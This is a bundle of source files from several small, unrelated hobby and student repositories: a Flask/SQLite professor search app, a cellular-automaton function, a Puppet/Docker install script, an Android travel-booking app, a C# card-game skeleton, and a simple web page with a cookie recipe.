<file_sep>/Busquedas/Html/buscar_profesor_puesto_divec.js
$(document).ready(function(){
console.log("Script cargado!!!")
$("#boton_nombre").click(function(){
console.log("click!4.0")
$("#resultado").find("tr:gt(0)").remove();
$.ajax({
url: "http://localhost:5000/buscar_profesor_puesto",
data: $("#nombre").serialize(),
type: "POST",
success: function(respuesta){
console.log(respuesta)
mostrar_resultado(respuesta)
},
error: function(respuesta){
console.log(respuesta)
}
})
})
})
function mostrar_resultado(respuesta){
$.each(respuesta, function(index,valor){
var fila = "<tr>"
fila += "<td>" + valor["nombre"] + "</td>"
fila += "<td>" + valor["salario"] + "</td>"
fila += "<td>" + valor["puesto"] + "</td>"
fila += "<td>" + valor["carrera"] + "</td>"
fila += "<tr>"
$("#resultado").append(fila)
})
}<file_sep>/codigosql.sql
create table profesor(
nombre varchar primary key,
salario real,
puesto varchar,
carrera varchar);
create table materia(
nrc varchar primary key,
nombreProfesor varchar,
clave varchar,
nombreMateria varchar,
seccion varchar,
inicio smallint,
fin smallint,
ciclo integer,
FOREIGN KEY (nombreProfesor) REFERENCES profesor(nombre)
on update cascade
on delete cascade);
delete from profesor;
delete from materia;
select *, count(*) from profesor group by nombre having count(*)>1 order by name
insert into profesores select nombre,salario,puesto,carrera from profesor;
insert into profesores select * from profesor group by nombre having count(*)>=1;
<file_sep>/connect.py
import sqlite3
class db():
conectar= sqlite3.connect('divec.db')
c = conectar.cursor()
#c.execute("PRAGMA foreign_keys = '1'")
def insertarProfesor(self,arg):
self.c.execute("INSERT INTO profesor(nombre,salario,puesto,carrera) VALUES(?,?,?,?)", (arg[0],arg[1],arg[2],arg[3]))
self.conectar.commit()
def insertarMateria(self,arg):
self.c.execute("INSERT INTO materia(nrc,nombreProfesor,clave,nombreMateria,seccion,inicio,fin,ciclo) VALUES(?,?,?,?,?,?,?,?)", (arg[0], \
arg[1],arg[2],arg[3],arg[4],arg[5],arg[6],arg[7]))
self.conectar.commit()
def mostrarProfesor(self):
self.c.execute("SELECT * FROM profesor")
for e in self.c:
lista = []
profesor = {
'nombre':e[0],
'salario':e[1],
'puesto':e[2],
'carrera':e[3]
}
lista.append(profesor)
return lista
def mostrarMateria(self):
self.c.execute("SELECT * FROM materia")
for e in self.c:
lista = []
materia = {
'nrc':e[0],
'nombreProfesor':e[1],
'clave':e[2],
'nombreMateria':e[3],
'seccion':e[4],
'inicio':e[5],
'fin':e[6],
'ciclo':e[7]
}
lista.append(materia)
return lista
def inicializarDB(self):
self.c.execute("DELETE FROM profesor")
self.c.execute("DELETE FROM materia")
self.c.execute("DROP TABLE profesor")
self.c.execute("CREATE TABLE profesor(nombre varchar, salario real, puesto varchar, carrera varchar)")
def anularRepetidos(self):
self.c.execute("CREATE TABLE profesorAux(nombre varchar primary key, salario real, puesto varchar, carrera varchar)")
self.c.execute("INSERT INTO profesorAux SELECT * FROM profesor GROUP BY nombre HAVING count(*)>=1")
self.c.execute("DELETE FROM profesor")
self.c.execute("INSERT INTO profesor SELECT * FROM profesorAux")
self.c.execute("DELETE FROM profesorAux")
self.c.execute("DROP TABLE profesorAux")
self.c.execute("CREATE TABLE materiaAux(nrc varchar primary key,nombreProfesor varchar,clave varchar,nombreMateria varchar,seccion varchar,inicio smallint,fin smallint,ciclo integer,FOREIGN KEY (nombreProfesor) REFERENCES profesor(nombre)on update cascadeon delete cascade)")
self.c.execute("INSERT INTO materiaAux SELECT * FROM materia GROUP BY nrc HAVING count(*)>=1")
self.c.execute("DELETE from materia")
self.c.execute("INSERT INTO materia SELECT * FROM materiaAux")
self.c.execute("DROP TABLE materiaAux")
#db = db()
#db.insertarMateria(['981273', 'Boites', 'I5888', 'EDA','D05','1700','1900','201710'])
#db.insertarProfesor(['Hassem', 10000, 'auxiliar', 'INNI'])
#db.mostrar()
#conectar.close()<file_sep>/Busquedas/serverDivec.py
from flask import Flask, jsonify, request
from divec import administrador
app = Flask('inicio')
admin = administrador()
@app.route("/buscar_profesor_nombre", methods=['POST'])
def buscar_profesor_nombre():
lista = admin.buscar_profesor_nombre(request.form['patron'])
res = jsonify(lista)
res.headers.add("Access-Control-Allow-Origin", "*")
print(res)
return res
@app.route("/buscar_materia_profesor", methods=['POST'])
def buscar_materia_profesor():
lista = admin.buscar_materia_profesor(request.form['patron'],request.form['cicle'])
res = jsonify(lista)
res.headers.add("Access-Control-Allow-Origin", "*")
print(res)
return res
@app.route("/buscar_profesor_materia", methods=['POST'])
def buscar_profesor_materia():
lista = admin.buscar_profesor_materia(request.form['patron'],request.form['cicle'])
res = jsonify(lista)
res.headers.add("Access-Control-Allow-Origin", "*")
print(res)
return res
@app.route("/buscar_profesor_puesto", methods=['POST'])
def buscar_profesor_puesto():
lista = admin.buscar_profesor_puesto(request.form['patron'])
res = jsonify(lista)
res.headers.add("Access-Control-Allow-Origin", "*")
print(res)
return res
app.run()
<file_sep>/Busquedas/divec.py
import sqlite3
class administrador():
def __init__(self):
self.db = sqlite3.connect("divec.db")
self.c = self.db.cursor()
def buscar_profesor_nombre(self, patron):
self.c.execute("SELECT * FROM profesor WHERE \
nombre LIKE ?", ("%"+patron+"%",))
lista=[]
for e in self.c:
resultado = {
"nombre": e[0],\
"salario": e[1],\
"puesto": e[2],\
"carrera": e[3],\
}
lista.append(resultado)
return lista
def buscar_materia_profesor(self, patron, cicle):
self.c.execute("SELECT nrc,nombreProfesor,clave,nombreMateria,seccion,inicio,fin,\
CASE \
WHEN ciclo=201310 THEN '2013A' \
WHEN ciclo=201320 THEN '2013B' \
WHEN ciclo=201410 THEN '2014A' \
WHEN ciclo=201420 THEN '2014B' \
WHEN ciclo=201510 THEN '2015A' \
WHEN ciclo=201520 THEN '2015B' \
WHEN ciclo=201610 THEN '2016A' \
WHEN ciclo=201620 THEN '2016B' \
WHEN ciclo=201710 THEN '2017A' \
END AS ciclo FROM materia WHERE \
nombreProfesor LIKE ? AND ciclo = ?", ("%"+patron+"%",cicle,))
lista=[]
for e in self.c:
resultado = {
"nrc": e[0],\
"nombreProfesor": e[1],\
"clave": e[2],\
"nombreMateria": e[3],\
"seccion": e[4],\
"inicio": e[5],\
"fin": e[6],\
"ciclo": e[7],\
}
lista.append(resultado)
return lista
def buscar_profesor_materia(self,patron,cicle):
self.c.execute("SELECT * FROM profesor WHERE nombre IN \
(SELECT nombreProfesor FROM materia WHERE nombreMateria LIKE ? AND ciclo = ?)", ("%"+patron+"%",cicle))
lista=[]
for e in self.c:
resultado = {
"nombre": e[0],\
"salario": e[1],\
"puesto": e[2],\
"carrera": e[3],\
}
lista.append(resultado)
return lista
def buscar_profesor_puesto(self, patron):
self.c.execute("SELECT * FROM profesor WHERE \
puesto LIKE ?", ("%"+patron+"%",))
lista=[]
for e in self.c:
resultado = {
"nombre": e[0],\
"salario": e[1],\
"puesto": e[2],\
"carrera": e[3],\
}
lista.append(resultado)
return lista
|
47bec9d0322d3f50a28042386ffa2a005fadcbe4
|
[
"JavaScript",
"SQL",
"Python"
] | 6 |
Python
|
3vilware/SiiauDivec
|
a795d0a2b4b653e1bfd10bae4e3d6b127f796591
|
1cd779514b8b7b7540174de5d6565a045a37ab5e
|
refs/heads/master
|
<repo_name>davidkowalk/ca_engine<file_sep>/src/cellular_automata.py
def next(array, function, wrap = False):
next_array = []
height = len(array)
for y in range(len(array)):
row = array[y]
next_row = []
width = len(row)
for x in range(len(row)):
# Coords x and y of cell
# O O O for i in range(-1, 1)
# O x O for j in range(-1, 1)
# O O O
# Count adjacent cells
n = 0
for i in range(-1, 2):
for j in range(-1, 2):
x2 = x+j
y2 = y+i
if wrap == False and ((x2<0 or y2<0) or (x2 >= width or y2 >= height)):
continue
x2 = x2%(width-1)
y2 = y2%(height-1)
if (i, j) != (0,0):
n += array[y2][x2]
if function(n):
next_row.append(1)
else:
next_row.append(0)
next_array.append(next_row)
return next_array
<file_sep>/README.md
# ca_engine
An engine to implement cellular automata.
|
335db36030ce955ba1a27e0a547199db41c0bb12
|
[
"Markdown",
"Python"
] | 2 |
Python
|
davidkowalk/ca_engine
|
fafaaea4be9392e0147d0f6342f6df7bfd29d3ca
|
26321174d39fc92a578f662ca67e7f34ddb52504
|
refs/heads/master
|
<file_sep>package io.github.codessive.ubank;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
public class SignUpActivity extends AppCompatActivity {
private ProgressDialog loadingbar;
private EditText Inputname, Inputemail, Inputphone, Inputpassword;
private Button signUp;
private TextView AlreadyHaveAnAccount;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_sign_up);
Inputemail = (EditText) findViewById(R.id.login_email);
Inputpassword = (EditText) findViewById(R.id.login_password);
Inputname = (EditText) findViewById(R.id.login_password);
Inputphone = (EditText) findViewById(R.id.login_password);
AlreadyHaveAnAccount = (TextView) findViewById(R.id.login_here);
signUp = (Button) findViewById(R.id.btn_create_account);
AlreadyHaveAnAccount.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
LoginHere();
}
});
signUp.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
signUpUser();
}
});
}
private void LoginHere() {
Intent intent = new Intent(new Intent(SignUpActivity.this, LoginActivity.class));
startActivity(intent);
}
private void signUpUser() {
final String name = Inputname.getText().toString();
final String email = Inputemail.getText().toString();
final String phone = Inputphone.getText().toString();
final String password = <PASSWORD>password.getText().<PASSWORD>();
if (TextUtils.isEmpty(name)) {
Toast.makeText(SignUpActivity.this, "please write your name", Toast.LENGTH_SHORT).show();
} else if (TextUtils.isEmpty(email)) {
Toast.makeText(SignUpActivity.this, "please type your phone email", Toast.LENGTH_SHORT).show();
} else if (TextUtils.isEmpty(phone)) {
Toast.makeText(SignUpActivity.this, "please type your phone number", Toast.LENGTH_SHORT).show();
} else if (TextUtils.isEmpty(password)) {
Toast.makeText(SignUpActivity.this, "please insert your password", Toast.LENGTH_SHORT).show();
} else {
loadingbar.setMessage("please wait while we are checking credentials.");
loadingbar.setCanceledOnTouchOutside(false);
loadingbar.show();
}
}
}
<file_sep>package io.github.codessive.ubank;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class DashboardActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dashboard);
}
public void openFirstbank(View view) {
Intent intent = new Intent(this, FirstBank.class);
startActivity(intent);
}
public void openFcmb(View view) {
Intent intent = new Intent(this, FCMB.class);
startActivity(intent);
}
public void openEcobank(View view) {
Intent intent = new Intent(this, EcoBank.class);
startActivity(intent);
}
public void openAccess(View view) {
Intent intent = new Intent(this, AccessBank.class);
startActivity(intent);
}
public void openFidelity(View view) {
Intent intent = new Intent(this,FidelityBank.class);
startActivity(intent);
}
public void openGTB(View view) {
Intent intent = new Intent(this, GTB.class);
startActivity(intent);
}
public void openPolaris(View view) {
Intent intent = new Intent(this, PolarisBank.class);
startActivity(intent);
}
public void openStanbic(View view) {
Intent intent = new Intent(this, Stanbic.class);
startActivity(intent);
}
public void openSterling(View view) {
Intent intent = new Intent(this, Sterling.class);
startActivity(intent);
}
public void openUBA(View view) {
Intent intent = new Intent(this, UBA.class);
startActivity(intent);
}
public void openUnion(View view) {
Intent intent = new Intent(this, UnionBank.class);
startActivity(intent);
}
public void openZenith(View view) {
Intent intent = new Intent(this, ZenithBank.class);
startActivity(intent);
}
}
<file_sep>package io.github.codessive.ubank;
import androidx.appcompat.app.AppCompatActivity;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import com.hover.sdk.api.Hover;
import com.hover.sdk.actions.HoverAction;
import com.hover.sdk.api.HoverParameters;
import java.util.ArrayList;
public class FirstBank extends AppCompatActivity implements Hover.DownloadListener {
private final String TAG = "FirstBank";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.first_bank);
Hover.initialize(getApplicationContext(), this);
TextView checkBalance = findViewById(R.id.fbn_balance);
checkBalance.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new HoverParameters.Builder(FirstBank.this)
.request("1d9ae9ca") // Add your action ID here
// .extra("YOUR_VARIABLE_NAME", "TEST_VALUE") // Uncomment and add your variables if any
.buildIntent();
startActivityForResult(i, 0);
}
});
}
@Override public void onError(String message) {
// Toast.makeText(this, "Error while attempting to download actions, see logcat for error", Toast.LENGTH_LONG).show();
Log.e(TAG, "Error: " + message);
}
@Override public void onSuccess(ArrayList<HoverAction> actions) {
// Toast.makeText(this, "Successfully downloaded " + actions.size() + " actions", Toast.LENGTH_LONG).show();
Log.d(TAG, "Successfully downloaded " + actions.size() + " actions");
}
}
|
e59d6e9f5affde75a0cbc5e752c0993b88d690c6
|
[
"Java"
] | 3 |
Java
|
jae-mon/3U-Banking
|
03ed8c8fa85a308c3b8c52763998f34b0005c1ac
|
9a6883c2f078bd4ba27ef1be80dc41c0d308c66c
|
refs/heads/main
|
<file_sep>// --- Moms find Moms ---
// Creative Technology - Living and Working Tomorrow Project Prototype
// Group 17 - Mommification
// by <NAME> - <EMAIL>
// April 2021
// ----------------------
//Initialize Javascript of Materialize framework
$(document).ready(function(){
M.AutoInit();
});
//Mapbox implementation ----------------------------------------------------
mapboxgl.accessToken = '<KEY>';
var map = new mapboxgl.Map({
container: 'map',
style: 'mapbox://styles/thomasvklink/ckmt8g4m63rt517o51ekxr8jd',
//This style is created in Mapbox Studio and also includes the three locations layers we display on the map.
center: [6.893281367468944, 52.21924535469515], //Centered on Enschede by default.
zoom: 12, //Standard zoom level for map
});
// Add function to display user location control to the map.
map.addControl(
new mapboxgl.GeolocateControl({
positionOptions: {
enableHighAccuracy: false
},
trackUserLocation: false
})
);
//HTML Pop-up on map for walking-locations layer, build after Mapbox's example code
map.on('click', 'walking-locations', function (e) {
var coordinates = e.features[0].geometry.coordinates.slice(); //Get coordinates of locations in dataset
var description = e.features[0].properties.description; //Get HTML description of location (Raw HTML)
while (Math.abs(e.lngLat.lng - coordinates[0]) > 180) { //Calculate if the mouse is near a point
coordinates[0] += e.lngLat.lng > coordinates[0] ? 360 : -360;
}
new mapboxgl.Popup() //Create a pop-up on the correct coordinates with the HTML description and add it to the map.
.setLngLat(coordinates)
.setHTML(description)
.addTo(map);
});
//HTML Pop-up on map for the playgrounds layer
map.on('click', 'playgrounds', function (e) {
var coordinates = e.features[0].geometry.coordinates.slice();
var description = e.features[0].properties.description;
while (Math.abs(e.lngLat.lng - coordinates[0]) > 180) {
coordinates[0] += e.lngLat.lng > coordinates[0] ? 360 : -360;
}
new mapboxgl.Popup()
.setLngLat(coordinates)
.setHTML(description)
.addTo(map);
});
//HTML Pop-up on map for the amusement-locations layer
map.on('click', 'amusement-locations', function (e) {
var coordinates = e.features[0].geometry.coordinates.slice();
var description = e.features[0].properties.description;
while (Math.abs(e.lngLat.lng - coordinates[0]) > 180) {
coordinates[0] += e.lngLat.lng > coordinates[0] ? 360 : -360;
}
new mapboxgl.Popup()
.setLngLat(coordinates)
.setHTML(description)
.addTo(map);
});
// Change the cursor to a pointer when the mouse is over the places layer.
map.on('mouseenter', 'places', function () {
map.getCanvas().style.cursor = 'pointer';
});
// Change it back to a pointer when it leaves.
map.on('mouseleave', 'places', function () {
map.getCanvas().style.cursor = '';
});
//Navigation ---------------------------------------------------------------
const swiper = new Swiper('.swiper-container', { //Create instance of Swiper
speed: 400, //Set speed of transistion
spaceBetween: 100,
allowTouchMove: false, //Disable interaction directly by user
initialSlide: 1, //Start on slide 2 (Match)
});
function navProfile(){ //Navigate to profile page (slide 0)
resetMap();
swiper.slideTo(0);
resetNav();
}
function navMatch(){ //Navigate to match page (slide 1)
resetMap();
swiper.slideTo(1);
resetNav();
document.getElementById("icon-match").classList.add('red-text', 'lighten-2'); //Set icon color to red illustrate that this item is active
}
function navMap(){ //Navigate to map page (slide 2)
swiper.slideTo(2);
resetNav();
document.getElementById("icon-map").classList.add('red-text', 'lighten-2');
document.getElementById("swiper").style.visibility = "hidden";
document.getElementById("map").style.visibility = "visible";
setTimeout(function (){
map.resize();
}, 100);
}
function navChat(){ //Navigate to chat page (slide 3)
resetMap();
swiper.slideTo(3);
resetNav();
document.getElementById("icon-chat").classList.add('red-text', 'lighten-2');
document.getElementById("message-bar").style.display = "";
}
function navInfo(){ //Navigate to info page (slide 4)
resetMap();
swiper.slideTo(4);
resetNav();
document.getElementById("icon-info").classList.add('red-text', 'lighten-2');
}
function resetNav(){ //Reset icon highlight colors in nav
document.getElementById("icon-match").classList.remove('red-text', 'lighten-2');
document.getElementById("icon-map").classList.remove('red-text', 'lighten-2');
document.getElementById("icon-chat").classList.remove('red-text', 'lighten-2');
document.getElementById("icon-info").classList.remove('red-text', 'lighten-2');
document.getElementById("message-bar").style.display = "none";
}
function resetMap(){ //Hide the map and display the swiper (pages)
document.getElementById("swiper").style.visibility = "visible";
document.getElementById("map").style.visibility = "hidden";
}
//Profile ------------------------------------------------------------------
var forename, surname, email; //Defining variables
let profile = [forename, surname, email]; //Defining array
var profileCheck = false; //Defining check boolean
function setProfile(){
forename = document.getElementById("first_name").value;
surname = document.getElementById("last_name").value;
email = document.getElementById("email").value;
profile = [forename, surname, email]; //Store data in array
if (forename === ""){ //Check if the user actually entered at least the forename field
alert("Please fill in the required fields.");
} else {
loadProfile(); //Load the profile data into the page
profileCheck = true; //The profile has been created set check variable to true
}
}
function loadProfile(){ //Loading the profile into the page
if (profile.length === 0){ //If the array is empty, the profile has not been set yet.
console.log("No data stored");
} else{
document.getElementById("profile_name").textContent = profile[0] + " " + profile[1]; //Set profile button to name
//Create a new html H3 tag with profile name to display on match page
var para = document.createElement("h3");
var node = document.createTextNode(profile[0]);
para.appendChild(node);
var div = document.getElementById("match-title");
div.appendChild(para);
//Launch succes modal with just set name included
document.getElementById("modal-name").textContent = profile[0] + "!";
const elem = document.getElementById('modal-profile-succes');
const instance = M.Modal.init(elem, {dismissible: false});
instance.open();
}
}
//Matching -----------------------------------------------------------------
function match(){ //Fake a matching process for demo
if (profileCheck){ //Check if user created a profile, if so start matching
document.getElementById('match-screen-1').style.display = "none";
document.getElementById('match-screen-2').style.display = "";
setTimeout(function (){ //After 5 seconds of "searching" display the set match
document.getElementById('match-screen-2').style.display = "none";
document.getElementById('match-screen-3').style.display = "";
}, 5000);
} else { //No profile has been set up yet
//Launch modal to inform the user to create a profile
const elem = document.getElementById('modal-no-profile');
const instance = M.Modal.init(elem, {dismissible: false});
instance.open();
}
}
|
a7d88930ad73c331cf063f536e0fa5e05c1c8c1b
|
[
"JavaScript"
] | 1 |
JavaScript
|
thomasvklink/moms-find-moms
|
856dbdd5a7ba9e5fc92236ad4f059fe3c9630cc0
|
cd85abb9865c30dfb8ab02af661e21dba2dad5bb
|
refs/heads/master
|
<repo_name>wkrysmann/4x<file_sep>/install.sh
#!/bin/bash
wget https://apt.puppetlabs.com/puppetlabs-release-pc1-precise.deb
sudo dpkg -i puppetlabs-release-pc1-precise.deb
## wybrac odpowiednia wersje
##https://apt.puppetlabs.com/
wget https://apt.puppetlabs.com/puppetlabs-release-pc1-wheezy.deb | dpkg
dpkg -i puppetlabs-release-pc1-wheezy.deb
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys <KEY>
echo "deb https://apt.dockerproject.org/repo debian-wheezy main"> /etc/apt/sources.list.d/docker.list
apt-get update
apt-get install puppet apt-transport-https ca-certificates
puppet module install garethr/docker
puppet apply ./redis.pp
|
a9352e4cb8d654074093b242ce532afed5015a8a
|
[
"Shell"
] | 1 |
Shell
|
wkrysmann/4x
|
f3d9bb5c95e00e2169e34b40c9adf2fb65dc71f9
|
c6bf59fb07afddf46495032c004f72ef04a53043
|
refs/heads/master
|
<repo_name>Xufuja/YGO<file_sep>/YGO/Battle.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace YGO
{
public class Battle
{
public static void Attack(Card Attacker, Card Attacked)
{
if (Attacker.Attack > Attacked.Attack)
{
//stuff
}
}
}
}
<file_sep>/YGO/Card.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace YGO
{
public class Card
{
public string Name;
public CType CardType;
public Attribute Atribute;
public MType MonsterType;
public sbyte Stars;
public int Attack;
public int Defense;
}
}
<file_sep>/YGO/Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace YGO
{
public class Program
{
public static void Main(string[] args)
{
Console.WriteLine("Set Name");
Hero hero = new Hero(Console.ReadLine());
Console.WriteLine("Name: " + hero.Name + Environment.NewLine + "Life Points: " + hero.Life + Environment.NewLine + "Type: " + hero.Type);
Console.ReadLine();
}
}
}
<file_sep>/YGO/Enum.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace YGO
{
public enum PType
{
Normal,
Protagonist,
Antagonist,
Creator
}
public enum CType
{
Monster,
Trap,
Magic
}
public enum Attribute
{
Dark,
Divine,
Earth,
Fire,
Light,
Water,
Wind
}
public enum MType
{
Aqua,
Beast,
CreatorGod,
Dinosaur,
DivineBeast,
Dragon,
Fairy,
Fiend,
Fish,
Insect,
Machine,
Plant,
Psychic,
Pyro,
Reptile,
Rock,
SeaSerpent,
Spellcaster,
Thunder,
Warrior,
Wyrm,
Zombie
}
}
<file_sep>/YGO/Hero.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace YGO
{
public class Hero
{
private string _name;
private int _life;
private PType _type;
public Hero(string nm, int lp = 4000, PType tp = 0)
{
_name = nm;
_life = lp;
_type = tp;
}
public string Name
{
get { return _name; }
set { _name = value; }
}
public int Life
{
get { return _life; }
set { _life = value; }
}
public PType Type
{
get { return _type; }
set { _type = value; }
}
}
}
|
6d45b608ff5a5c8d53410bb73fe5dc391087381b
|
[
"C#"
] | 5 |
C#
|
Xufuja/YGO
|
8f1679aa09f778a750f78546ae450a2c2bce6d1e
|
0c7c3a014a4f66daa3ce540416eb093abab497f1
|
refs/heads/main
|
<repo_name>Apeksha-Gowda/travelWebsiteMobile<file_sep>/app/src/main/java/com/example/trawell/RegistrationActivity.java
package com.example.trawell;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.FirebaseFirestore;
import java.util.HashMap;
import java.util.Map;
public class RegistrationActivity extends AppCompatActivity {
EditText fname,lname,email,password,address;
FirebaseFirestore db;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_registration);
fname = findViewById(R.id.edtfirstname);
lname = findViewById(R.id.edtlastname);
email = findViewById(R.id.edtLoginEmail);
password = findViewById(R.id.edtloginpassword);
address = findViewById(R.id.address);
db = FirebaseFirestore.getInstance();
findViewById(R.id.btnlogin).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
signup(fname.getText().toString(),lname.getText().toString(),email.getText().toString(),password.getText().toString(),address.getText().toString());
}
});
}
private void signup(String firstname, String lastname, String email, String password, String address) {
Map<String, Object> user = new HashMap<>();
user.put("firstname", firstname);
user.put("lastname", lastname);
user.put("email", email);
user.put("password", <PASSWORD>);
user.put("address", address);
// Add a new document with a generated ID
db.collection("users")
.add(user)
.addOnSuccessListener(new OnSuccessListener<DocumentReference>() {
@Override
public void onSuccess(DocumentReference documentReference) {
Toast.makeText(RegistrationActivity.this, "Registration Completed", Toast.LENGTH_SHORT).show();
finish();
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
Toast.makeText(RegistrationActivity.this, "Error in Registration", Toast.LENGTH_SHORT).show();
}
});
}
}<file_sep>/app/src/main/java/com/example/trawell/CountryList.java
package com.example.trawell;
import android.content.Context;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Filter;
import android.widget.Filterable;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.SearchView;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import androidx.recyclerview.widget.GridLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import com.bumptech.glide.Glide;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.QueryDocumentSnapshot;
import com.google.firebase.firestore.QuerySnapshot;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
public class CountryList extends AppCompatActivity implements SearchView.OnQueryTextListener{
String userEmail;
private FirebaseFirestore db;
SearchView inputSearch;
Custd_Adp ca;
ListView list;
ArrayList<Country> arrayList= new ArrayList<>();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_home);
userEmail = getIntent().getExtras().getString("email");
list = findViewById(R.id.list);
inputSearch=(SearchView)findViewById(R.id.searchView2);
db = FirebaseFirestore.getInstance();
getCountrylist();
}
private void getCountrylist() {
db.collection("country")
.get()
.addOnCompleteListener(new OnCompleteListener<QuerySnapshot>() {
@Override
public void onComplete(@NonNull Task<QuerySnapshot> task) {
if (task.isSuccessful()) {
for (QueryDocumentSnapshot document : task.getResult()) {
Country cname = new Country();
cname.setId(document.getId());
cname.setName(document.getString("name"));
cname.setAmount(document.getString("price"));
cname.setImageurl(document.getString("imageurl"));
setupSearchView();
arrayList.add(cname);
}
ca=new Custd_Adp(CountryList.this,arrayList);
list.setAdapter(ca);
}
}
});
}
private void setupSearchView()
{
inputSearch.setIconifiedByDefault(false);
inputSearch.setOnQueryTextListener(this);
inputSearch.setSubmitButtonEnabled(true);
inputSearch.setQueryHint("Search Here");
}
@Override
public boolean onQueryTextSubmit(String s) {
return false;
}
@Override
public boolean onQueryTextChange(String s) {
String text = s;
ca.getFilter().filter(text);
return false;
}
private class Custd_Adp extends BaseAdapter implements Filterable {
ArrayList<Country> arrayList;
Context context;
LayoutInflater inflater;
public ArrayList<Country> orig;
public Custd_Adp(Context context, ArrayList<Country> arrayList) {
this.context = context;
this.arrayList = arrayList;
}
@Override
public Filter getFilter() {
return new Filter() {
@Override
protected FilterResults performFiltering(CharSequence constraint) {
final FilterResults oReturn = new FilterResults();
final ArrayList<Country> results = new ArrayList<Country>();
if (orig == null)
orig = arrayList;
if (constraint != null) {
if (orig != null && orig.size() > 0) {
for (final Country g : orig) {
if (g.getName().toLowerCase()
.contains(constraint.toString()))
results.add(g);
}
}
oReturn.values = results;
}
return oReturn;
}
@SuppressWarnings("unchecked")
@Override
protected void publishResults(CharSequence constraint,
FilterResults results) {
arrayList = (ArrayList<Country>) results.values;
notifyDataSetChanged();
}
};
}
public void notifyDataSetChanged() {
super.notifyDataSetChanged();
}
@Override
public int getCount() {
return arrayList.size();
}
@Override
public Object getItem(int position) {
return arrayList.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int i, View vieww, ViewGroup viewGroup) {
inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View view = inflater.inflate(R.layout.row_country, viewGroup, false);
TextView pname = (TextView) view.findViewById(R.id.name);
TextView amount = (TextView) view.findViewById(R.id.amount);
TextView booknow = (TextView) view.findViewById(R.id.booknow);
ImageView img = (ImageView) view.findViewById(R.id.image);
Country p = arrayList.get(i);
pname.setText(p.getName());
amount.setText(p.getAmount());
Glide.with(CountryList.this).load(arrayList.get(i).getImageurl()).into(img);
booknow.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Toast.makeText(CountryList.this, "Booked", Toast.LENGTH_SHORT).show();
}
});
return view;
}
}
}
|
2d366232494d5527a9e71b42682329d3bf0c95d7
|
[
"Java"
] | 2 |
Java
|
Apeksha-Gowda/travelWebsiteMobile
|
c39aa6cc7c8d3698f82633beab5c266fadbd8471
|
e6145cf89e016c83841d219d747809405d56d9d0
|
refs/heads/master
|
<file_sep>document.getElementById('grayButton').onclick = switchToGray;
document.getElementById('whiteButton').onclick = switchToWhite;
function switchToWhite(){
document.body.style.backgroundColor = "white";
document.body.style.color = "black";
}
function switchToGray(){
document.body.style.backgroundColor = "gray";
document.body.style.color = "white";
}
<file_sep><!DOCTYPE html>
<head>
<title>The Best Chocolate Chip Cookies</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<header>
<h1 id="top">The Best Chocolate Chip Cookies</h1>
<img src="cookies.jpg" alt""/>
<h2>Recipe by:</h2>
<p>My Grandma</p>
<h2>Prep Time:</h2>
<p>45 Min</p>
</header>
<article>
<h2>Ingredients</h2>
<table>
<thead>
<tr>
<th>Qty</th>
<th>Ingredients</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 1/2 cup (3 sticks)</td>
<td>Softened butter</td>
</tr>
<tr>
